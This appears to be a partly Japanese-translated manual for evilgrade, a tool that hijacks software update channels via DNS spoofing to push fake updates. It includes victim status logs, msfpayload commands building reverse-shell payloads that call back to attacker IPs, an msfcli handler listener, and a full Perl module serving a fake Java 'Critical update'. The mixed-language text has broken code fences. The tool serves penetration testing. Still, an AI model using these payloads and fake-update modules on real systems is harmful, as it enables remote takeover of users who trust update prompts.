Name = Sun Microsystems Java Version = 2.0 Author = ["Francisco Amato < famato +[AT]+ faradaysec.com>"] Description = "" VirtualHost = "java.sun.com|javadl-esd.sun.com"

.-------------------------------------------------------------------------------------------------------------------------. | Name | Default | Description | +--------------+-------------------------------------------------+--------------------------------------------------------+ | website | http://java.com/moreinfolink | Website displayed in the update | | enable | 1 | Status | | atitle | Critical vulnerability | Title name to be displayed in the systray item popup | | arg | | Arg passed to Agent | | adescription | This critical update fix internal vulnerability | Description to be displayed in the systray item popup | | description | This critical update fix internal vulnerability | Description to be displayed during the update | | agent | ./agent/reverseshellsign.exe | Agent to inject | | title | Critical update | Title name displayed in the update | '--------------+-------------------------------------------------+--------------------------------------------------------'

ステータスと被害者のログを表示``` console

evilgrade>show status Webserver (pid 4134) already running

Users status:

.---------------------------------------------------------------------------------------------------------------. | Client | Module | Status | Md5,Cmd,File | +----------------+------------------+--------+------------------------------------------------------------------+ | 192.168.233.10 | modules::sunjava | send | d9a28baa883ecf51e41fc626e1d4eed5,'',"./agent/reverseshell.exe" | '----------------+------------------+--------+------------------------------------------------------------------'

例: -------``` console evilgrade>start evilgrade> [28/10/2010:21:35:55] - [WEBSERVER] - Webserver ready. Waiting for connections ... evilgrade> [28/10/2010:21:35:55] - [DNSSERVER] - DNS Server Ready. Waiting for Connections ...

#######################################

Example:

evilgrade>stop Stopping WEBSERVER [OK] Stopping DNSSERVER [OK]

#######################################

restart - Restart services (WebServer and DNS Server) stops and starts again

#######################################

status - Get webserver and victims status

Example:

evilgrade>show status Webserver (pid 4134) already running

Users status:

.---------------------------------------------------------------------------------------------------------------. | Client | Module | Status | Md5,Cmd,File | +----------------+------------------+--------+------------------------------------------------------------------+ | 192.168.233.10 | modules::sunjava | send | d9a28baa883ecf51e41fc626e1d4eed5,'',"./agent/reverseshell.exe" | '----------------+------------------+--------+------------------------------------------------------------------'

#######################################

show - Display information of .

#######################################

show active - Display active modules in the webserver

#######################################

show modules - Display implemented modules

#########################################

show options - Display modules/global options

Example:

evilgrade>show options

Display options:

.-----------------------------------------------------------------------------------. | Name | Default | Description | +-------------+-----------+---------------------------------------------------------+ | DNSEnable | 1 | Enable DNS Server ( handle virtual request on modules ) | | DNSAnswerIp | 127.0.0.1 | Resolve VHost to ip ) | | DNSPort | 53 | Listen Name Server port | | debug | 1 | Debug mode | | port | 80 | Webserver listening port | | sslport | 443 | Webserver SSL listening port | '-------------+-----------+---------------------------------------------------------'

evilgrade> evilgrade(notepadplus)>conf vmware evilgrade(vmware)>show options (without started services)

Display options:

Name = VMware Server Version = 1.0 Author = ["Francisco Amato < famato +[AT]+ faradaysec.com>"] Description = "" VirtualHost = "www.vmware.com"

.----------------------------------------------. | Name | Default | Description | +--------+-------------------+-----------------+ | enable | 1 | Status | | agent | ./agent/agent.exe | Agent to inject | '--------+-------------------+-----------------'

evilgrade(vmware)>show options (with started services after setting agent)

Display options:

Name = VMware Server Version = 1.0 Author = ["Francisco Amato < famato +[AT]+ faradaysec.com>"] Description = "" VirtualHost = "www.vmware.com"

.--------------------------------------------------------------------------------------------------. | Name | Default | Description | +-------------+------------------------------------------------------------------+-----------------+ | enable | 1 | Status | | agentmd5 | f80af637642170507bda998b6f2015fa | | | agentsize | 54576 | | | agent | ./agent/agent.exe | Agent to inject | | agentsha256 | 44f4e3f65f6ca375df4e0247fa0ee1efedbe2965a1c35e910d8d035ec61b76bd | | '-------------+------------------------------------------------------------------+-----------------'

#########################################

set - Configure variables global or modules

Example:

evilgrade>show options

Display options:

.-----------------------------------------------------------------------------------. | Name | Default | Description | +-------------+-----------+---------------------------------------------------------+ | DNSEnable | 1 | Enable DNS Server ( handle virtual request on modules ) | | DNSAnswerIp | 127.0.0.1 | Resolve VHost to ip ) | | DNSPort | 53 | Listen Name Server port | | debug | 0 | Debug mode | | port | 80 | Webserver listening port | | sslport | 443 | Webserver SSL listening port | '-------------+-----------+---------------------------------------------------------'

###Let's enable DEBUG option and set as DNSAnswerIp our Inet address (192.168.1.4)

evilgrade>set debug 1 #Enable debug set debug, 1

evilgrade>set DNSAnswerIp 192.168.1.4 #Ip where evilgrade's DNS Server is listening set DNSAnswerIp, 192.168.1.4

evilgrade>show options

Display options:

.-------------------------------------------------------------------------------------. | Name | Default | Description | +-------------+-------------+---------------------------------------------------------+ | DNSEnable | 1 | Enable DNS Server ( handle virtual request on modules ) | | DNSAnswerIp | 192.168.1.4 | Resolve VHost to ip ) | | DNSPort | 53 | Listen Name Server port | | debug | 1 | Debug mode | | port | 80 | Webserver listening port | | sslport | 443 | Webserver SSL listening port | '-------------+-------------+---------------------------------------------------------'

###############################

exit - exits the program

#######################################

help - prints this screen, or help on 'command'

#######################################

## .:: [ADVANCED] ::.

- モジュールオプション：
各モジュールには特別なオプションがありますが、"agent" フィールドは常に存在します。
エージェントは私たちの偽のアップデートバイナリであり、そのパスを設定するか、動的な偽のアップデートバイナリ生成を実装する必要があります。

[動的な偽のアップデートバイナリ] は、外部コマンドを実行してバイナリを生成することを可能にします。例えば、metasploit フレームワークの msfpayload を使用します。
この機能により、metasploit の任意のペイロードを生成したり、外部インターフェースを使用してバイナリを作成したりできます。

# Example 1:```
evilgrade(sunjava)>set agent '["/metasploit/msfpayload windows/shell_reverse_tcp LHOST=192.168.233.2 LPORT=4141 X > <%OUT%>/tmp/a.exe<%OUT%>"]'

この場合、必要な更新バイナリごとに、ペイロード"windows/shell_reverse_tcp"を持つ偽の更新バイナリを生成し、リバースシェルを使用してアドレス192.168.233.2のポート4141に接続します。 ラベル<%OUT%><%OUT>は、出力バイナリが生成される場所を検出するための特別なタグです。 Evilgradeは、角括弧'[]'の間に文章があることから、「動的な偽の更新バイナリ機能」の使用を検出します。 その括弧の中には、Perlを使用してコンパイルされる、引用符""で囲まれた文字列があります。

例えば、次を使用する場合：``` evilgrade(sunjava)>set agent '["./generatebin -o <%OUT%>/tmp/update".int(rand(256)).".exe<%OUT%>"]'

その後、バイナリリクエストを受け取るたびに、evilgrade はその行をコンパイルし、最終的な文字列 `"./generatebin -o /tmp/update(random).exe"` を実行し、異なるエージェントを生成します。

動的ではないが簡単な代替手段として、ターミナル上で msfpayload から直接ペイロードを生成し、モジュールの設定に手動で割り当てることも可能です。

# 例2:

（evilgradeの外部）```
[team@faraday]$ msfpayload windows/meterpreter/reverse_ord_tcp LHOST=192.168.100.2 LPORT=4444 X > /tmp/reverse-shell.exe

（evilgrade 内部）``` evilgrade(sunjava)>set agent /tmp/reverse-shell.exe

ペイロードが生成された後、以前に割り当てたLHOST上でマルチハンドラをリッスン状態にしておきます。

(evilgradeの外部)```
[team@faraday]$ msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.100.2 LPORT=4444 E
[*] Started reverse handler on 192.168.100.2:4444
[*] Starting the payload handler...

.:: [モジュール開発] ::.

モジュール開発は非常に簡単です。evilgradeはモジュールに基づいているため、.pmパッケージ（perlモジュール）を使用するだけです。この場合、sunjava更新モジュール（コメントは#）を説明します:``` perl package modules::sunjava;

use strict; use Data::Dump qw(dump);

my $base= { 'name' => 'Sun Microsystems Java', #name of the module to display in the framework 'version' => '2.0', #internal module version 'appver' => '<= 1.6.0_22', #last application version tested with this evilgrade module 'author' => [ 'Francisco Amato < famato +[AT]+ faradaysec.com>' ], #author 'description' => qq{}, #brief description 'vh' => '(java.sun.com|javadl-esd.sun.com)', #VirtualHosts that the application uses to retrieve information about the update configuration files and update binaries.

#Then we have the request object's collection
'request' => [
#Each object it's a possible HTTP request inside the virtualhost configured for the module (java.sun.com)
    {
    'req' => '(/update/[.\d]+/map\-[.\d]+.xml|/update/1.6.0/map\-m\-1.6.0.xml)', #The required URL, regex friendly
    'type' => 'file', #it's the response type (file|string|agent|install)
     #we can use:
                  #file: response with content file referenced in the "file" option below (./include/sunjava_map.xml)
                  #string: response with a string referenced in the "string" options below
                  #agent:  response with content file referenced in the "agent" options (options section)
                  #install: response with content file referenced in the "file" option below
                    #It's used to know if the fake update was executed
                    #In some update process we can specify a final page after update installed
                    #so we send to a controller page.
    'method' => '', #not implemented yet
    'bin'    => '', #set to 1 if we are going to send a binary file
    'string' => '', #if we have chosen the 'type' string then in this variable we set the response
    'parse' => '', #set to 1 if the file or string need be parsed with options
    'file' => './include/sunjava/sunjava_map.xml'
    },

    {
    'req' => '^/java_update.xml$', #regex friendly
    'type' => 'file', #file|string|agent|install
    'method' => '', #any
    'bin'    => '',
    'string' => '',
    'parse' => '1',
    'file' => './include/sunjava/sunjava_update.xml'
    },
    {
    'req' => '/x.jnlp', #regex friendly
    'type' => 'file', #file|string|agent|install
    'method' => '', #any
    'bin'    => '',
    'string' => '',
    #In this case we parse the file
                'parse' => '1',
    #To parse the file we use special tags, like <%OPTIONAME%> inside the "file" or "string" field
          #This tags are replaced with the values of the options, for example
          #<%TITLE%> will be replaced by 'Critical update'
    'file' => './include/sunjava/x.jnlp'
    },
    {
    'req' => '.jar', #regex friendly
    'type' => 'file', #file|string|agent|install
    'method' => '', #any
    'bin'    => 1,
    'string' => '',
    'parse' => '',
    'file' => './include/sunjava/JavaPayload/FunnyClass2.jar'
    },

    {
    'req' => '.exe', #regex friendly
    'type' => 'agent', #Here we have an agent type with a binary response
    'bin'    => 1,
    'method' => '', #any
    'string' => '',
    'parse' => '',
    'file' => ''
    }
],

#Options
#Here we have the options that will be displayed with "show options" inside the current module.
#This options are used to parse the string or a file using in the responses
'options' => {  'agent'  => { 'val' => './agent/java/javaws.exe', #The default value
          'desc' => 'Agent to inject'}, #Brief description
    'arg'    => { 'val' => 'http://java.sun.com/x.jnlp"',
          'desc' => 'Arg passed to Agent'},
    'enable' => { 'val' => 1,
          'desc' => 'Status'},

#The following is a dynamic hidden option,
#In this case we use the tag <%NAME%> to parse the files and execute perl functions to get randoms values
#You can use whatever you like in perl, if you're wishing to use more functions check "isrcore/utils.pm"
                'name'  => { 'val' => "'javaupdate'.isrcore::utils::RndAlpha(isrcore::utils::RndNum(1))",
                            'hidden' => 1,
                      'dynamic' =>1,},

#All the options depend on the update process. You have to research the possible variables and implement them on your module
#These are the mostly common update messages, webpages, descriptions, popup messages, title, etc
    'title'  => { 'val' => 'Critical update',
          'desc' => 'Title name displayed in the update'},
    'description' => { 'val' => 'This critical update fix internal vulnerability',
      'desc' => 'Description to be displayed during the update'},
    'atitle'  => { 'val' => 'Critical vulnerability',
           'desc' => 'Title name to be displayed in the systray item popup'},
    'adescription' => { 'val' => 'This critical update fix internal vulnerability',
      'desc' => 'Description  to be displayed in the systray item popup'},
    'website' => { 'val' => 'http://java.com/moreinfolink',
           'desc' => 'Website displayed in the update'}
 }

};

## .:: [ヒント] ::.

1) evilgradeを実行する際は、リスニングソケットを作成する権限を持つユーザーで実行することを忘れないでください。そうしないと、evilgradeのServicesを使用できません。

2) 毎回evilgradeが実行中の状態でモジュールを変更した場合は、それらを'reload'することを忘れないでください。

3) サービスを開始する前にバイナリ'agents'を設定してください。なぜなら、evilgradeが自動入力してくれるフィールド（agentmd5、agentsha256、agentsize）があり、これらはサービスが既に実行中の状態では設定できないからです。

4) 動的レスポンスで<%AGENTSIZE%>, <%AGENTMD5%>, <%URL\_FILE%>, <%URL\_FILE\_EXT%>などの変数、またはオプションセクションで定義されたカスタム変数を使用する場合は、*parse*を1に設定することを忘れないでください。

5) エージェントを注入する場合も同様で、*bin*フラグを1に有効にする必要があります。

6) HTTPを使用してプレーンテキスト応答を作成したい場合は、*cheader*フラグを使用してください。以下に例を示します:```
        {   'req' => '/sitepath/download/file.zip'
            ,    #regex friendly
            'type'    => 'string',                  #file|string|agent|install
            'method'  => '',                        #any
            'bin'     => '',
            'string'  => '',
            'parse'   => '1',
            'file'    => '',
            'cheader' => "HTTP/1.1 302 Found\r\n"
                . "Location: http://sitedomain.com/<%URL_FILE%>.exe \r\n"
                . "Content-Length: 0 \r\n"
                . "Connection: close \r\n\r\n",
        },

7) To filter via User-Agent, use as an example the Sparkle2 module. In base add  'useragent' => 'true', and on a request use as you would use the 'req' field but for user agents in 'useragent'. Note that this field already stripped "User-Agent: ".

.:: [要件] ::.

Perl モジュール```

Data::Dump
Digest::MD5
Time::HiRes
RPC::XML

## .:: [MORE INFORMATION] ::.

このフレームワークは、以下のセキュリティカンファレンスで発表されました。```
· ekoparty 2007 [Buenos Aires, Argentina] [www.ekoparty.org]
· Troopers 2008 [Munich, Germany] [www.troopers08.org]
· Shakacon 2008 [Hawaii, USA] [www.shakacon.org]
· H2HC 2009 [Brazil] [www.h2hc.com.br]
· Blackhat Arsenal & Defcon 2010 [Las Vegas, USA] [www.blackhat.com www.defcon.org]

.:: [著者] ::.

Francisco Amato famato+at+faradaysec+dot+com